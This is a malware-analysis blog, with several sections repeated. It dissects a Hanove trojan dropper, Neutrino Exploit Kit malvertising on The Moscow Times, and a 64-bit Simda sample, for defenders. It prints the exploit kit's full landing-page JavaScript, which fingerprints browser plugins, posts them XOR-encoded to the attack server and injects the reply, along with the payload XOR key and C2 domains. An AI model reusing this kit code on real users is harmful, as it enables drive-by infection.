My friends, it's pretty clear that based on my current career path and interests that I'm no longer going to update this blog. I wanted to offer a sincere thank you to all of you who supported me and helped me learn and succeed. I've learned an immense amount from the malware analysis, reverse engineering, and greater information security community that has really gone a long way to helping me get to where I am.
That being said, there may be a new blog on the horizon focused more on general information security practices as well as data science. Keep an eye out on twitter for more information (I changed my twitter handle to @kitsune_infosec, for reference). No set date on when this new blog will begin, but I'll be sure to tweet something about it once the ball gets rolling.
Until next time...
-SM/Kitsune
Wednesday, April 6, 2016
Monday, August 3, 2015
Contemplating a Return
I've already got a few messages in support of it, but I wanted to put this out there anyway. I've recently changed employers and am no longer in a position where I can't keep my blog updated. That being said, I'm curious what sort of interest there is from the community in me rekindling this blog, so to speak. If you want to see me bring the blog back - let me know in the comments, via email, or via twitter!
-SM
-SM
Wednesday, June 4, 2014
On Hiatus
Hey all. I know I've been absent for the recent past. I just wanted to make a quick post saying I will be on hiatus for the foreseeable future. It's not for lack of passion and desire for malware, though! I will return as soon as RL conditions allow. I'll be around if anyone has questions or comments, though, so please don't hesitate to contact me if you need something! Take care, and have fun reversing!
-SM
-SM
Friday, January 3, 2014
Exploring the Ether - or Maybe Just a 0-day
Greetings, Crusaders! Nice to be back to reversimicating (that's a thing) land. :) Tonight's challenge: Tackling a fairly recent 0-day. I was going to write about this sooner, but I wanted to wait until there was a higher number of detections by AV platforms. So, I'm a little late to the party, but at least I showed up. ;) Let's get to it!
We start off with our sample, winword.exe, which looks like a self-extracting archive:
Some basic info
Md5: 97BCB5031D28F55F20E6F3637270751D
VT (38/48): https://www.virustotal.com/en/file/988c320d216df3bb751f8b684e4957fb64f8a94e823823ce863b14819605ad86/analysis/1385603982/
It's got a great detection ratio now, so I feel better about writing about it. Oddly enough, it doesn't really have a name, most of those detections are generic. Oh well.
Edit: My good friend, @unixfreaxjp, has since informed me that this is known as TrojanSpy/Hanove.F. Thanks for the tip!
Funny thing about that icon up there ^, I don't have WinRAR (or Office, as you'll notice in a moment) installed on this VM, so the icon is clearly faked. That said, it IS an archive and can be opened with 7-zip. Anyway, moving on...
When running the exe, it first pops up WordPad (again, no MS Office on this VM) and throws an error about graphic conversion:
It doesn't do anything except throw the error again when you click 'No'. Clicking 'Yes' gives us some flavor text in WordPad, just to throw off any suspicion that we've just been owned:
As you can see, the file is Shanti.doc - but, it's dropped in under %userprofile%\. I'm unsure if this name has any significance but I presume, given the text, that it's named as such to further aid in diverting any suspicion of malicious activity.
The doc file itself is also malicious, so here's some info:
File: Shanti.doc
Md5: DB8B2802177B38873A9DF8C9AF6E3CF6
VT (7/47): https://www.virustotal.com/en/file/229975c3486d451dbd526d58be23d9cc4e0e91b3baaf77628572202f136b9afc/analysis/
The notable thing about the .doc file is that it exploits CVE-2013-3906 (seen in the VT results). The original exe also drops a file called updates.exe under the same %userprofile% directory. It's the updates.exe file that performs most of the malicious activity, so I'm going to focus on that.
File: updates.exe
Md5: 920FEFDC36DA03CE9B06FC5267664406
VT (39/48): https://www.virustotal.com/en/file/006118bf1ea457baa2c10a851fcd9628c323e4970ff2319f1789062b88fff389/analysis/1385607890/
The first notable activity that this file performs is setting its persistence method. The file uses xcopy.exe to create a .lnk file under C:\Documents and Settings\All Users\Start Menu\Programs\Startup\HddLink.lnk. The path this .lnk file points to is %userprofile%\updates.exe. Deleting this .lnk file removes the persistence entirely, so it's nothing too complicated. :)
Updates.exe spawns cmd.exe which then uses ipconfig to enumerate hostname and network connection information. The output then gets stored in a file called iconfall.log. The file is stored (along with a copy of HddLink.lnk) under %userprofile%\Local Settings\Temp\. Presumably this file is then uploaded later on...
Here's a snapshot of the file:
4 additional files are also created under %userprofile%\Application Data\WinApp: .25in, he, o, and top, seen here:
You may have noticed that all 4 files have the same size. That's because all 4 files are identical to each other. What's interesting about them is that they all contain metadata (in xml format) about FakeNet - which I had running at the time. Could the malware be behaving differently when FakeNet is running? Maybe we can uncover more on that later. Here's a shot of the first part of the .25in file:
There's also a lot of the typical changes to HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ such as ProxyEnable, AutoConfigURL, etc. I'm not going to list them all here for the sake of brevity. If you would really like a list, get in touch with me and I can get you a regshot report. ;)
The malware also makes repeated GET requests, seen in Wireshark here:
If you look at the 'response' to the GET request, you'll see that it's the same data from the .25in file above. It turns out this malware is actually a downloader, and the .25in (and other) files contain the data that the server responds with. In this case, it's just the data that FakeNet has provided. So, there's that... I'm not going to let this sample hit the internet to pull down the stage 2 components at the moment, but I may revisit that in the future.
The other point of interest is the URI itself. If you look at it, you'll see it contains the hostname and the current username in the URI, so this data would likely be stored by the remote server when it receives a GET request.
The domain that it's attempting to beacon out to is krickmart.com, which is known by VT to be no bueno. :)
Krickmart.com VT info: https://www.virustotal.com/en/domain/krickmart.com/information/
I really didn't find much interesting in terms of static analysis, but I spent some time figuring out the purpose of a few functions and thought I'd share a few tidbits.
The malware certainly doesn't waste any time once WinMain starts. It repeatedly calls the same function to execute commands in cmd.exe. Here's where it's using xcopy to establish persistence (HddLink.lnk isn't shown here, but it appears a few lines above the xcopy reference) and then grabs ipconfig info to store it in iconfall.log:
Here we can see the functions that build the GET request that goes to krickmart.com. You should recognize "WinInetGet/0.1" as being the User Agent String from the GET request.
That's about it, really. Probably one of the more boring pieces of malware I've looked at in a while. Sorry it took me so long to get the blog post out! Cheers.
-SM
Filename: winword.exe
MD5: 97BCB5031D28F55F20E6F3637270751D
VT (38/48): https://www.virustotal.com/en/file/988c320d216df3bb751f8b684e4957fb64f8a94e823823ce863b14819605ad86/analysis/1385603982/
Filename: Shanti.doc
MD5: DB8B2802177B38873A9DF8C9AF6E3CF6
VT (7/47): https://www.virustotal.com/en/file/229975c3486d451dbd526d58be23d9cc4e0e91b3baaf77628572202f136b9afc/analysis/
Filename: updates.exe
MD5: 920FEFDC36DA03CE9B06FC5267664406
VT (39/48): https://www.virustotal.com/en/file/006118bf1ea457baa2c10a851fcd9628c323e4970ff2319f1789062b88fff389/analysis/1385607890/
Persistence:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\HddLink.lnk. >> Points to %userprofile%\updates.exe
C2 domain: krickmart.com
VT: https://www.virustotal.com/en/domain/krickmart.com/information/
We start off with our sample, winword.exe, which looks like a self-extracting archive:
Some basic info
Md5: 97BCB5031D28F55F20E6F3637270751D
VT (38/48): https://www.virustotal.com/en/file/988c320d216df3bb751f8b684e4957fb64f8a94e823823ce863b14819605ad86/analysis/1385603982/
It's got a great detection ratio now, so I feel better about writing about it. Oddly enough, it doesn't really have a name, most of those detections are generic. Oh well.
Edit: My good friend, @unixfreaxjp, has since informed me that this is known as TrojanSpy/Hanove.F. Thanks for the tip!
Behavior Analysis
When running the exe, it first pops up WordPad (again, no MS Office on this VM) and throws an error about graphic conversion:
It doesn't do anything except throw the error again when you click 'No'. Clicking 'Yes' gives us some flavor text in WordPad, just to throw off any suspicion that we've just been owned:
As you can see, the file is Shanti.doc - but, it's dropped in under %userprofile%\. I'm unsure if this name has any significance but I presume, given the text, that it's named as such to further aid in diverting any suspicion of malicious activity.
The doc file itself is also malicious, so here's some info:
File: Shanti.doc
Md5: DB8B2802177B38873A9DF8C9AF6E3CF6
VT (7/47): https://www.virustotal.com/en/file/229975c3486d451dbd526d58be23d9cc4e0e91b3baaf77628572202f136b9afc/analysis/
The notable thing about the .doc file is that it exploits CVE-2013-3906 (seen in the VT results). The original exe also drops a file called updates.exe under the same %userprofile% directory. It's the updates.exe file that performs most of the malicious activity, so I'm going to focus on that.
Updates.exe
File: updates.exe
Md5: 920FEFDC36DA03CE9B06FC5267664406
VT (39/48): https://www.virustotal.com/en/file/006118bf1ea457baa2c10a851fcd9628c323e4970ff2319f1789062b88fff389/analysis/1385607890/
The first notable activity that this file performs is setting its persistence method. The file uses xcopy.exe to create a .lnk file under C:\Documents and Settings\All Users\Start Menu\Programs\Startup\HddLink.lnk. The path this .lnk file points to is %userprofile%\updates.exe. Deleting this .lnk file removes the persistence entirely, so it's nothing too complicated. :)
Updates.exe spawns cmd.exe which then uses ipconfig to enumerate hostname and network connection information. The output then gets stored in a file called iconfall.log. The file is stored (along with a copy of HddLink.lnk) under %userprofile%\Local Settings\Temp\. Presumably this file is then uploaded later on...
Here's a snapshot of the file:
4 additional files are also created under %userprofile%\Application Data\WinApp: .25in, he, o, and top, seen here:
You may have noticed that all 4 files have the same size. That's because all 4 files are identical to each other. What's interesting about them is that they all contain metadata (in xml format) about FakeNet - which I had running at the time. Could the malware be behaving differently when FakeNet is running? Maybe we can uncover more on that later. Here's a shot of the first part of the .25in file:
There's also a lot of the typical changes to HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ such as ProxyEnable, AutoConfigURL, etc. I'm not going to list them all here for the sake of brevity. If you would really like a list, get in touch with me and I can get you a regshot report. ;)
The malware also makes repeated GET requests, seen in Wireshark here:
If you look at the 'response' to the GET request, you'll see that it's the same data from the .25in file above. It turns out this malware is actually a downloader, and the .25in (and other) files contain the data that the server responds with. In this case, it's just the data that FakeNet has provided. So, there's that... I'm not going to let this sample hit the internet to pull down the stage 2 components at the moment, but I may revisit that in the future.
The other point of interest is the URI itself. If you look at it, you'll see it contains the hostname and the current username in the URI, so this data would likely be stored by the remote server when it receives a GET request.
The domain that it's attempting to beacon out to is krickmart.com, which is known by VT to be no bueno. :)
Krickmart.com VT info: https://www.virustotal.com/en/domain/krickmart.com/information/
IDA Stuff
I really didn't find much interesting in terms of static analysis, but I spent some time figuring out the purpose of a few functions and thought I'd share a few tidbits.
The malware certainly doesn't waste any time once WinMain starts. It repeatedly calls the same function to execute commands in cmd.exe. Here's where it's using xcopy to establish persistence (HddLink.lnk isn't shown here, but it appears a few lines above the xcopy reference) and then grabs ipconfig info to store it in iconfall.log:
Here we can see the functions that build the GET request that goes to krickmart.com. You should recognize "WinInetGet/0.1" as being the User Agent String from the GET request.
This is the part of the hexdump which contains the hostname "krickmart.com", which is pushed to the stack at 4077CA (in the above image):
That's about it, really. Probably one of the more boring pieces of malware I've looked at in a while. Sorry it took me so long to get the blog post out! Cheers.
-SM
Summary
Filename: winword.exe
MD5: 97BCB5031D28F55F20E6F3637270751D
VT (38/48): https://www.virustotal.com/en/file/988c320d216df3bb751f8b684e4957fb64f8a94e823823ce863b14819605ad86/analysis/1385603982/
Filename: Shanti.doc
MD5: DB8B2802177B38873A9DF8C9AF6E3CF6
VT (7/47): https://www.virustotal.com/en/file/229975c3486d451dbd526d58be23d9cc4e0e91b3baaf77628572202f136b9afc/analysis/
Filename: updates.exe
MD5: 920FEFDC36DA03CE9B06FC5267664406
VT (39/48): https://www.virustotal.com/en/file/006118bf1ea457baa2c10a851fcd9628c323e4970ff2319f1789062b88fff389/analysis/1385607890/
Persistence:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\HddLink.lnk. >> Points to %userprofile%\updates.exe
C2 domain: krickmart.com
VT: https://www.virustotal.com/en/domain/krickmart.com/information/
Sunday, October 6, 2013
Into the Maw - Hunting Malware on The Moscow Times Website
Hello, internets! I was recently contacted by @CwacCwac on Twitter with some information about malware being delivered via The Moscow Times website. He sent me a pcap, so I started digging. I had a lot of fun with it, and it's been far too long since I've written a blog post, so here we are. Let's get started...
Once the landing page figures out what plugins the browser has and all the other objects are done loading (img tags, etc.), it forms a POST request using part of function req(). Before the POST request gets XORed and urlencoded, it looks like this:
I had some issues decoding the response, but given what I know about Neutrino, I know it likely decodes to a java applet that points to a .jar file. Thankfully that was easy to verify because the very next GET request was for a .jar file, which is seen here:
I am not sure what CVE this .jar file exploits, but here's the VT report for it: https://www.virustotal.com/en/file/d24602c5eae8590eca13cb7cfb76249d6ec0baa6fdcbfe241f6ea4612dfd1761/analysis/1381056472/
Following the .jar GET request, there's another GET request for what we can safely assume a binary payload. However, it doesn't look like an exe at first:
Doesn't look like an exe, however it should be pretty easy to tell that it's been XORed. Thankfully the XOR key is really simple. A little trial and error to find the XOR key and we get 6D 70 68 6A. After XORing the file with that key, it becomes much more familiar looking:
The decoded payload has a decent detection rate on VirusTotal as well:
https://www.virustotal.com/en/file/48779f22e3788f610804d3edf0c5a0a24073534d32f8771a8a5ab2a9c5ffa6b3/analysis/1381057358/
Based on some quick analysis, this exe appears to be a dropper. A new file named ldhpywws.exe is created under %userprofile%\Local Settings\Temp\. Below are screenshots the dropper subroutine in IDA Pro, and the actual file about to be dropped in OllyDbg.
IDA Pro, dropper subroutine:
OllyDbg, prior to the actual file drop:
Moments later, another file is dropped in the same directory - setup.dat:
I'm unsure the purpose of this file, but the data inside of it is completely unreadable. It's possible it's encrypted data that gets used later. Shortly after the .dat file gets dropped, ldhpywws.exe starts running as a subprocess of the original payload. I don't have the time to do an analysis of that file just yet, but I may be able to get to it soon. We'll see. Hope you enjoyed the read!
-SM
In a nutshell, here's what I discovered:
The Entry Vector
CwacCwac told me that he wasn't always getting the page to deliver the malware, so that immediately made me think the entry vector was either something with a time or cookie-based redirect, maybe CookieBomb or Darkleech, or a rotating banner ad of some kind. As it turns out, it was the latter.
themoscowtimes.com occasionally pulls banners from motoway.tw. In this case, one of the banners contains a 1x1 pixel iframe with a source tag pointing to the landing page. You can see it in the wireshark snapshot below:
We can see that it's pointing to a landing page hosted on hxxp://ueftxfdkimekssi.dynathome.net.
Following the traffic to the landing page gives away several pieces of information, seen below (Thanks to @MalForSec for being such a valuable resource!). The landing page is Neutrino Exploit Kit
themoscowtimes.com occasionally pulls banners from motoway.tw. In this case, one of the banners contains a 1x1 pixel iframe with a source tag pointing to the landing page. You can see it in the wireshark snapshot below:
We can see that it's pointing to a landing page hosted on hxxp://ueftxfdkimekssi.dynathome.net.
The Landing Page
Following the traffic to the landing page gives away several pieces of information, seen below (Thanks to @MalForSec for being such a valuable resource!). The landing page is Neutrino Exploit Kit
<html>
<head>
.<link href='nqysfzegyysshnu.css' rel='stylesheet'><link href='vyyuefapf.css' rel='stylesheet'><link href='qmhfiuvhnb.css' rel='stylesheet'>
.<link href='scbepbmaytlt.css' rel='stylesheet'><link href='vcehdnzg.css' rel='stylesheet'><link href='gkalbgu.css' rel='stylesheet'>
.<script src='hgqzyxntijrhe.js'></script><script src='melsrceyhntdugf.js'></script>
.<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>.
.<script src='niongmaaukrbooot.js'></script><script src='gkck.js'></script>
.<script type="text/javascript" src="index.js"></script> //index.js here is PluginDetect v8.0
.<script src='xboshtugh.js'></script><script src='uujgv.js'></script>
</head>
<body>
<script type="text/javascript">
var _doc = document;
function req(a, b, c, d, e) {
var m = PluginDetect.getVersion, //SecMem - Using PluginDetect to detect plugin versions
n = decodeURIComponent,
p = encodeURIComponent,
h = xor,
ov = office_ver,
g = [{
adobe_reader: "AdobeReader"
}, {
java: "Java"
}, {
flash: "Flash"
}, {
quick_time: "QuickTime"
}, {
real_player: "RealPlayer"
}, {
shockwave: "Shockwave"
}, {
silver_light: "Silverlight"
}, {
vlc: "VLC"
}, {
wmp: "WMP"
}],
f = [];
f.push("hid:::" + a);
for (var k in g)
for (var l in g[k]) f.push(l + ":::" + m(g[k][l]));
f.push("of"+"fi"+"ce:"+"::" + ov());
a = {};
a[d] = c;
a[e] = p(h(f.join(";;"+";"), c)); //SecMem - Join the array with ;;;, then XOR data, then encode data, then POST the data.
$.post(b, a, function (a, b) {
$("b"+"o"+"d"+"y").append(h(n(a), c)) //SecMem - This is the function that's going to decode commands via XOR and urldecode. Looks like this when variables replaced: xor(decodeURIComponent(a), c)) where a and c are used in the XOR function below.
})
}
function xor(a, b) {
for (var c = "", d = 0, e = 0, d = 0; d < a.length; d++) e = Math.floor(d % b.length), c += String.fromCharCode(a.charCodeAt(d) ^ b.charCodeAt(e));
return c
}
function office_ver() {
var a = 0,
b = 0;
try {
a = new ActiveXObject("SharePoint.OpenDocuments.4")
} catch (c) {}
try {
b = new ActiveXObject("SharePoint.OpenDocuments.3")
} catch (d) {}
return "object" == typeof a && "object" == typeof b ? "2010" : "number" == typeof a && "object" == typeof b ? "2007" : null
};
$(_doc).ready(function () {
req("524e888caea2cc69190294b5", "tmzhlxglvpj", "ewkipl", "qvlajrdth", "wtfqgj") //SecMem - These are the variables passed into the function req() - a, b, c, d, and e respectively
});
</script>
<img src='fbdt.jpg'><img src='mpxwsiedgfry.jpg'><img src='ttsvonfvi.jpg'> //SecMem - These image links will trigger GET requests for C2 commands later on.
<img src='qaggrsvppo.png'><img src='rezjcnuvgnrvb.png'><img src='jlnwbndifweu.jpg'><img src='sfkwetzsouzcl.png'>
</body>
</html>
Encoded Communication
Once the landing page figures out what plugins the browser has and all the other objects are done loading (img tags, etc.), it forms a POST request using part of function req(). Before the POST request gets XORed and urlencoded, it looks like this:
hid:::524e888caea2cc69190294b5;;;adobe_reader:::8,1,2,0;;;java:::1,6,0,31;;;flash:::10,3,183,29;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::2010Once it's XORed and encoded it looks like this:
qvlajrdth=ewkipl&wtfqgj=%250D%251E%250FSJVPE_%250CHT%255D%2514%250A%250C%2511%255E%2506%2514%2 55DPAUUER%255D%2512Y%255ELP%2508%2514%2503%2507%25124%251B%2515%250D%2501%2512%2519SJV%255D%255BZEB%2540ULPR%251A%250 D%2513%2516QSJ%255DIAGY%255C_TLPR%2516%2500%2504%2504%2503SJVTGGZ%255C%255D%255DDG%255BIW%255EL%251A%251C%2519%250F%2 50E(%251F%2500%251D%2509_MQ%2507%2505%2500%2509LPR%2502%2509%2504%251B4%2519%251C%250D%251C%2512%2519SJV%250B%2502%25 07%2505KW%255E%2504%2503%2506%2513%2507%2512%2516%251D%250CJV_%2519%251E%2505%251CW%255EL%2518%2500%251C%251A%2500%25 054%2505%2519%250B%250D%2503QSJ%2502%2510%251B%2507RKW%2513%251B%2508SJV%250B%2502%2507%2505KW%255E%2500%2506%2519JV_ %2519%251E%2505%251CW%255EL%2504%250F%2516%2505%2506%2512QSJ%255EUF%255BThe POST request is made to the server using the above data, to which the server responds with:
Y%16%1B%19%1C%09%11W%0A%1B%13%04%0C%01%0ETW%04%11%03%1BS_C%10%12%0D%1D%08%0A%01%1C%02%04%15%07%16% 04%02G%14%15%0B%16%1F%01%1F%01Y%05%0C%04V%5DG%5BY_%1E%04%12%0D%1B%04%05%01%18%04%04%0A%03%17H%01%04%04%1C%14%0D%07 %18%1AQ%12%1C%13%06%19%01%0B%10LI%13%03%01%12VN1%02%0C%1ALI%07%05%01%03%03TW%5DUPK%01%15%05%02%1F%1FTW%5DUPUcyel~bU%0 0%0D%17%16%06I%1E%0D%08%12VN%15%14%14LI%06%0D%09%02%0ETW%0D- %25%5B%0A4%03%13%3BX%3F%1C6%0B%25_3%1D%3E%17%16%3CX%1C%0DV9%11%08%23Y%0E%12%3C%5C%18%08%22%1F%1D%0B%279%10%15%06%3F%4 0%23%0F%10%1C%244-%13-%06%5C%0A%0E%229%05%084U%14- %3C%01A%0DV%1B%1D%0AB%22%0F%273%0D%02%09%22N%1B%0B%27Y%0BPUcyel~bU%0D%17%16%06I%1E%0D%08%12VN%08%07%0ELI%06%0D% 09%02%0ETW%01%15%1F%01NNfl~b%60LC%04%07%1B%05%15%18%5B
The .jar file
I had some issues decoding the response, but given what I know about Neutrino, I know it likely decodes to a java applet that points to a .jar file. Thankfully that was easy to verify because the very next GET request was for a .jar file, which is seen here:
I am not sure what CVE this .jar file exploits, but here's the VT report for it: https://www.virustotal.com/en/file/d24602c5eae8590eca13cb7cfb76249d6ec0baa6fdcbfe241f6ea4612dfd1761/analysis/1381056472/
The Encoded Payload and Decoded Dropper
Following the .jar GET request, there's another GET request for what we can safely assume a binary payload. However, it doesn't look like an exe at first:
Doesn't look like an exe, however it should be pretty easy to tell that it's been XORed. Thankfully the XOR key is really simple. A little trial and error to find the XOR key and we get 6D 70 68 6A. After XORing the file with that key, it becomes much more familiar looking:
The decoded payload has a decent detection rate on VirusTotal as well:
https://www.virustotal.com/en/file/48779f22e3788f610804d3edf0c5a0a24073534d32f8771a8a5ab2a9c5ffa6b3/analysis/1381057358/
The Dropper in Action
Based on some quick analysis, this exe appears to be a dropper. A new file named ldhpywws.exe is created under %userprofile%\Local Settings\Temp\. Below are screenshots the dropper subroutine in IDA Pro, and the actual file about to be dropped in OllyDbg.
IDA Pro, dropper subroutine:
OllyDbg, prior to the actual file drop:
Moments later, another file is dropped in the same directory - setup.dat:
I'm unsure the purpose of this file, but the data inside of it is completely unreadable. It's possible it's encrypted data that gets used later. Shortly after the .dat file gets dropped, ldhpywws.exe starts running as a subprocess of the original payload. I don't have the time to do an analysis of that file just yet, but I may be able to get to it soon. We'll see. Hope you enjoyed the read!
-SM
Summary
- Compromised ad being served up from motoway.tw via themoscowtimes.com
- themoscowtimes.com/news - referrer for ad
- download.motoway.com - ad hosting page with malicious iframe
- Malicious iframe found in ad pointing to dynathome.net.
- ueftxfdkimekssi[.]dynathome[.]net:8000/gbdvntpipiu?tbtnvhwd=8833814 - landing page
- Neutrino Exploit Kit located on landing page
- PluginDetect v8.0 used via index.js
- Encoded and XORed C2 communication functions
- Malicious .jar file pulled down from landing page (5/48 detection ratio):
- Payload in the form of a dropper binary (14/48 detection ratio):
- Dropped binary (14/48 detection ratio):
Saturday, August 17, 2013
Elitism: A rant by Secluded Memory
After several blog posts, it occurred to me that not everyone understands the purpose of this blog, my intent for writing, or why I don't believe in being an elitist, so I wanted to take some time to try to clear that up. There will definitely be some ranting involved here - you've been warned.
For starters, I've been extremely flattered by all of the positive feedback I've been given surrounding my various blog posts, as well as the work I've been doing as part of the MalwareMustDie community. So, to all of you who have supported me in my personal life, my professional life, and my time as a "malware crusader" - thank you.
When I write a post, there's only one place I ever post the link - Twitter. Inevitably the link seems to be passed around to various other places on the internet, which is fine. The side effect is that it reaches a much wider audience than I originally anticipated. This isn't necessarily a bad thing, but a larger viewer base means there are going to be people who simply don't like what I have to say.
If you happen to be such a reader who doesn't like what I have to say, let me be clear - I didn't create this blog for you, and I'm certainly not forcing you to read it. I created this blog to contribute something positive the community which has been so incredibly helpful in my never-ending quest to learn. I did not create a blog for people like this:
"I'm tired of things like "Look, I'm malware analyst I can post VirusTotal links to my twitter". There is only one tool for malware analysis - IDA PRO, other tools are for malware analysis cargo cult. If you are uploading file to VT then you don't do any malware analysis - you just get results from many AV vendors. I just don't get people who calls output from tools like ProcMon, or some sandboxes "malware analysis", why not a research?" - <name redacted>
Which brings me to my next point...
What does it mean to be a malware analyst?
For starters, I've been extremely flattered by all of the positive feedback I've been given surrounding my various blog posts, as well as the work I've been doing as part of the MalwareMustDie community. So, to all of you who have supported me in my personal life, my professional life, and my time as a "malware crusader" - thank you.
When I write a post, there's only one place I ever post the link - Twitter. Inevitably the link seems to be passed around to various other places on the internet, which is fine. The side effect is that it reaches a much wider audience than I originally anticipated. This isn't necessarily a bad thing, but a larger viewer base means there are going to be people who simply don't like what I have to say.
If you happen to be such a reader who doesn't like what I have to say, let me be clear - I didn't create this blog for you, and I'm certainly not forcing you to read it. I created this blog to contribute something positive the community which has been so incredibly helpful in my never-ending quest to learn. I did not create a blog for people like this:
"I'm tired of things like "Look, I'm malware analyst I can post VirusTotal links to my twitter". There is only one tool for malware analysis - IDA PRO, other tools are for malware analysis cargo cult. If you are uploading file to VT then you don't do any malware analysis - you just get results from many AV vendors. I just don't get people who calls output from tools like ProcMon, or some sandboxes "malware analysis", why not a research?" - <name redacted>
Which brings me to my next point...
What does it mean to be a malware analyst?
Malware analysis involves so many different things. One of the biggest components to that involves research. We aren't here to reinvent the wheel, we're here to accomplish a task. Sometimes all we want to do is answer the question of, "what type of malware is this?" or, "what does this malware do?" and don't necessarily need to fully reverse engineer the sample. Maybe we just don't have time to do that.
Being a malware analyst means being an observer, a researcher, a hacker - an analyst. We take a piece of malware and figure out something about it that the average user doesn't know. The tools we choose to use are not what determines who we are, and the choice of tool certainly does not make one of us better than the other. I use VirusTotal because it helps point me in the right direction to start my research. If someone else has already fully reversed the sample I'm working on, why would I do it again if all I really want to do is give people an overview of my thought process for dynamic (read: behavioral) analysis? I wouldn't.
I have never claimed to be an expert at anything other than drinking and sarcasm. Just because I have a blog doesn't make me any better than anyone else. Just because I can look up something in VirusTotal doesn't mean I think I'm an expert at reverse engineering. Just because I don't think IDAPro is the only tool people should be using for malware analysis doesn't mean I'm not a malware analyst.
At the end of the day, I think we can do without the elitist attitude that certain individuals have who are also a valuable part of this very same community. Trying to keep up with the spread of malware is hard enough, we don't need to be putting each other down or trying to pretend like we're better than the next guy. We are all on the same team, so let's start acting like it. With that, I'll leave you with one question:
If we can't help each other become better at whatever it is that we're doing, then why are we here?
-SM
Being a malware analyst means being an observer, a researcher, a hacker - an analyst. We take a piece of malware and figure out something about it that the average user doesn't know. The tools we choose to use are not what determines who we are, and the choice of tool certainly does not make one of us better than the other. I use VirusTotal because it helps point me in the right direction to start my research. If someone else has already fully reversed the sample I'm working on, why would I do it again if all I really want to do is give people an overview of my thought process for dynamic (read: behavioral) analysis? I wouldn't.
I have never claimed to be an expert at anything other than drinking and sarcasm. Just because I have a blog doesn't make me any better than anyone else. Just because I can look up something in VirusTotal doesn't mean I think I'm an expert at reverse engineering. Just because I don't think IDAPro is the only tool people should be using for malware analysis doesn't mean I'm not a malware analyst.
At the end of the day, I think we can do without the elitist attitude that certain individuals have who are also a valuable part of this very same community. Trying to keep up with the spread of malware is hard enough, we don't need to be putting each other down or trying to pretend like we're better than the next guy. We are all on the same team, so let's start acting like it. With that, I'll leave you with one question:
If we can't help each other become better at whatever it is that we're doing, then why are we here?
-SM
Sunday, August 11, 2013
The Mind of a Malware Analyst: Blogging While Doing 64-bit Malware Analysis
It certainly has been a while, hasn't it? Between playing with malware pretty much non-stop for a few months straight, followed by an unfortunate death in my family, going on vacation, and then getting sick - the combination of burnout and life getting in the way caused me to not make time to write up a post sooner.
The good news is, I'm here now, and I'm going to try something new(ish). This time around, I'm going to do an analysis on a 64-bit malware sample sent to me by @DarrelRendell. The difference here is that I don't know anything about what I'm getting into, other than the fact that it's 64-bit, before starting work on the blog post about it. That is to say, I'm writing this post as I do my analysis of it. My goal here is to give you a little glimpse into my thought process and understand the way I like to do things. This might also lead to a post that's a little more sporadic than my previous posts. With any luck, I won't hit a dead end.
Okay, let's get started. I've got my sample, so let's gather some basic info on it. Hash, header info, check for packers, strings output, etc.
First, let's run it through sigcheck:
Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Users\admin\Desktop\unknown.exe:
Verified: Unsigned
Link date: 1:43 AM 2/26/2010
Publisher: n/a
Description: n/a
Product: n/a
Version: n/a
File version: n/a
MD5: 464F4C6477613AAAF1F8195B5E77CAB0
SHA1: 59D83AD05C6FB4EF1D17636692FA8CD9C60FFFC1
PESHA1: A14BB471C1949E05C462EAB4143C494570C90944
SHA256: DC36D538B7A1EE404DFD6E104B9A1EDD7046526E55B3F911BEEA2B422A0EB625
Followed by checking the md5 in VirusTotal... Not bad, initially it had a 19/46 detection rate. The analysis is 3 months old in VT, so let's re-upload the sample and see if we get a better detection rate and possibly some help with classification: https://www.virustotal.com/en/file/dc36d538b7a1ee404dfd6e104b9a1edd7046526e55b3f911beea2b422a0eb625/analysis/1376211352/
Okay, so we have a few more detections than the initial search I ran, up to 23/45 now. Most of the AV vendors classify this as a generic trojan. There are a few references to Kryptik, Simda, and Rodricter (which is part of the Simda family, it seems). Some quick google searching for these malware names leads to a few decent pages to research:
Simda: http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Trojan%3AWin32%2FSimda#tab=2
Kryptik: http://blog.fortinet.com/W32-Kryptik-AX-tr---A-Masterful-FTP-Trojan/
Note: Later in the post I discovered that there is actually a 32-bit component in the form of Win32/Claretore, which is a member of the Simda family. More on that later.
Now that we have some reference material for when we do behavioral analysis later, lets finish collecting basic information about the file. Next, a quick auto scan via peframe:
C:\Users\admin\Desktop\Tools\PE Tools\peframe>peframe.py -a C:\Users\admin\Desktop\unknown.exe
File Name: unknown.exe
File Size: 177664 byte
Compile Time: 2010-02-26 00:43:11
DLL: False
Sections: 5
MD5 hash: 464f4c6477613aaaf1f8195b5e77cab0
SHA-1 hash: 59d83ad05c6fb4ef1d17636692fa8cd9c60fffc1
Packer: None
Anti Debug: None
Anti VM: None
File and URL:
FILE: KERNEL32.dll
URL: None
Suspicious API Functions:
Func. Name: GetCommandLineA
Func. Name: VirtualAlloc
Suspicious API Anti-Debug:
Suspicious Sections:
Sect. Name: DATA
MD5 hash: 739c32c979bb45cad8563bfbbc15439d
SHA-1 hash: 10ba28ceb02a7479c7bc8aaaf8840ab751c71cd7
Sect. Name: BSS
MD5 hash: a3c0e191bd4eb60320d1e3781667397c
SHA-1 hash: e5ed43c0c1e21bb881d3828ee7c875851a1ea5cd
Sect. Name: .edata
MD5 hash: 90e0281621601ef5b4988bd0b9814939
SHA-1 hash: cfaa206cc179211489c71ceb51d1e8393fbc73d9
Sect. Name: .reloc
MD5 hash: 2c38765194d27b75f56d0565088a53ee
SHA-1 hash: 217125fcb30e489e2ecc55be03157344f4a06db8
No packer detected, so let's take a look at strings output to see if there's anything that stands out...
GetCommandLineA
ExitVDM
Module32NextW
OpenMutexW
Module32FirstW
VirtualAlloc
KERNEL32.dll
Those are pretty much the only readable strings in the file. "ExitVDM" in particular is something I haven't seen before. Running a quick google search for "ExitVDM" leads to a multitude of pages all related to malware, but nothing in particular stands out that allows us to identify the malware yet. These strings may be useful later, so let's keep going. Next up is exiftool output:
ExifTool Version Number : 9.30
File Name : unknown.exe
Directory : C:/Users/admin/Desktop
File Size : 174 kB
File Modification Date/Time : 2013:07:09 11:44:24-06:00
